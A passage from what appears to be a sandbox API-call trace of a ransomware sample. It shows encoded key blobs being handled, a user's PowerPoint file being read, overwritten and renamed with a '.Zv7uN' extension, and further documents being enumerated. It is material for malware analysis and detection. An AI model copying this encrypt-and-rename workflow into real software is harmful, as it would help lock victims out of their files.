Cw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.185] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.186] GetCurrentThreadId () returned 0xa30 [0088.186] GetCurrentThreadId () returned 0xa30 [0088.186] GetCurrentThreadId () returned 0xa30 [0088.187] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.187] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.187] GetCurrentThreadId () returned 0xa30 [0088.187] GetCurrentThreadId () returned 0xa30 [0088.187] GetCurrentThreadId () returned 0xa30 [0088.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ck9o.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ck9o.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.187] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.187] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.188] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x12af [0088.188] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.188] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x12af, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x12af, lpOverlapped=0x0) returned 1 [0088.190] CloseHandle (hObject=0x124) returned 1 [0088.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ck9o.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ck9o.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.193] WriteFile (in: hFile=0x124, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x12af, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f978*=0x12af, lpOverlapped=0x0) returned 1 [0088.195] CloseHandle (hObject=0x124) returned 1 [0088.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ck9o.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ck9o.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ck9o.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ck9o.pptx.zv7un")) returned 1 [0088.197] GetCurrentThreadId () returned 0xa30 [0088.197] GetCurrentThreadId () returned 0xa30 [0088.197] GetCurrentThreadId () returned 0xa30 [0088.197] GetCurrentThreadId () returned 0xa30 [0088.197] GetCurrentThreadId () returned 0xa30 [0088.197] GetCurrentThreadId () returned 0xa30 [0088.197] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa245820, ftCreationTime.dwHighDateTime=0x1d5e81c, ftLastAccessTime.dwLowDateTime=0xcb8fda0, ftLastAccessTime.dwHighDateTime=0x1d5e085, ftLastWriteTime.dwLowDateTime=0xcb8fda0, ftLastWriteTime.dwHighDateTime=0x1d5e085, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="dePX8rTxd", cAlternateFileName="DEPX8R~1")) returned 1 [0088.197] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.198] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.198] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.198] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee07430, ftCreationTime.dwHighDateTime=0x1d5c984, ftLastAccessTime.dwLowDateTime=0xa20d9310, ftLastAccessTime.dwHighDateTime=0x1d58dc5, ftLastWriteTime.dwLowDateTime=0xa20d9310, ftLastWriteTime.dwHighDateTime=0x1d58dc5, nFileSizeHigh=0x0, nFileSizeLow=0x101c7, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="DZvDv8 7hIh_Mu9Whp.docx", cAlternateFileName="DZVDV8~1.DOC")) returned 1 [0088.198] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.198] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DZvDv8 7hIh_Mu9Whp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dzvdv8 7hih_mu9whp.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee07430, ftCreationTime.dwHighDateTime=0x1d5c984, ftLastAccessTime.dwLowDateTime=0xa20d9310, ftLastAccessTime.dwHighDateTime=0x1d58dc5, ftLastWriteTime.dwLowDateTime=0xa20d9310, ftLastWriteTime.dwHighDateTime=0x1d58dc5, nFileSizeHigh=0x0, nFileSizeLow=0x101c7)) returned 1 [0088.198] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DZvDv8 7hIh_Mu9Whp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dzvdv8 7hih_mu9whp.docx")) returned 0x20 [0088.198] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\DZvDv8 7hIh_Mu9Whp.docx", dwFileAttributes=0x80) returned 1 [0088.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 